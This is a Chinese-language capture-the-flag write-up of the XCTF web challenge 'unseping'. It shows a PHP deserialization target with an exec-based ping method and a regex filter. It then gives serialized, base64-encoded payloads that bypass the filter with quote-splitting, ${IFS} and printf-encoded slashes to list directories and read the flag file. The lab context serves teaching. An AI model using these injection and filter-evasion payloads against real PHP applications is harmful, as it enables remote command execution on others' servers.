CTF(二)

导言:

本文主要讲述在CTF竞赛中,web类反序列化题目unseping。。

靶场链接:攻防世界 (xctf.org.cn)

反序列化漏洞:反序列化漏洞(二)_fst反序列化 rocksdb 字段值错误-CSDN博客

打开后可以看到:

CTF(二)可以看到是一段php代码,根据这段代码可以看到这是一段反序列化题目。

CTF(二)

并且在名为waf的函数中,过滤了大部分的特殊字符。

并且,是使用传参名为ctf的post类型传参。

method = $method;
        $this->args = $args;
    }
 
    // 析构函数,当对象被销毁时调用
    function __destruct(){
        // 如果方法在数组中,则调用该方法
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    // ping方法,接收一个参数,执行exec函数
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    // waf方法,接收一个参数,使用正则表达式进行过滤
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    // __wakeup方法,当对象被反序列化时调用
    function __wakeup(){
        // 遍历args数组,对每个元素进行waf过滤
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

// 接收POST参数ctf
$ctf=@$_POST['ctf'];
// 对ctf进行base64解码,并反序列化
@unserialize(base64_decode($ctf));
?>

此时,就知道:我们应该通过命令执行获取flag且绕过waf函数的过滤,最后将序列化的payload并进行base64编码,最后利用post请求进行发送即可

所以,使用hackbar打开,并选择post型传参。

CTF(二)

构造payload:

method = $method;
	    $this->args = $args;
	}
  
}
// 创建一个ease对象,参数为"ping"和array('l""s')
$a = new ease("ping",array('l""s'));
// 将对象序列化
$b = serialize($a);
// 输出序列化后的对象
echo $b;
echo'
'; // 将序列化后的对象进行base64编码 echo base64_encode($b); ?>

将其运行后,可以得到payload:

CTF(二)

使用hackbar发送后,可以看到:

CTF(二)

flag在flag_1s_here文件夹内,查看此文件夹的payload为:

method = $method;
        $this->args = $args;
    }
     
}
 
// 创建ease对象,参数为"ping"和array('l""s${IFS}f""lag_1s_here')
$o=new ease("ping",array('l""s${IFS}f""lag_1s_here'));
// 将对象序列化
$s = serialize($o);
// 将序列化后的对象进行base64编码
echo base64_encode($s);
?>

CTF(二)

CTF(二)flag在flag_831b69012c67b35f.php文件夹内。

此时,payload为:

method = $method;
    $this->args = $args;
}
  
}
// 创建一个ease对象,参数为"ping"和数组
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));
// 将对象序列化
$b = serialize($a);
// 输出序列化后的对象
echo $b;
echo'
'; // 将序列化后的对象进行base64编码 echo base64_encode($b); ?>

CTF(二)CTF(二)得到flag。

上一篇:nova2s支持nfc吗(华为Nova2s手机能支持NFC功能吗)
下一篇:z35为何不停石家庄站(Z36次列车为何不停石家庄站)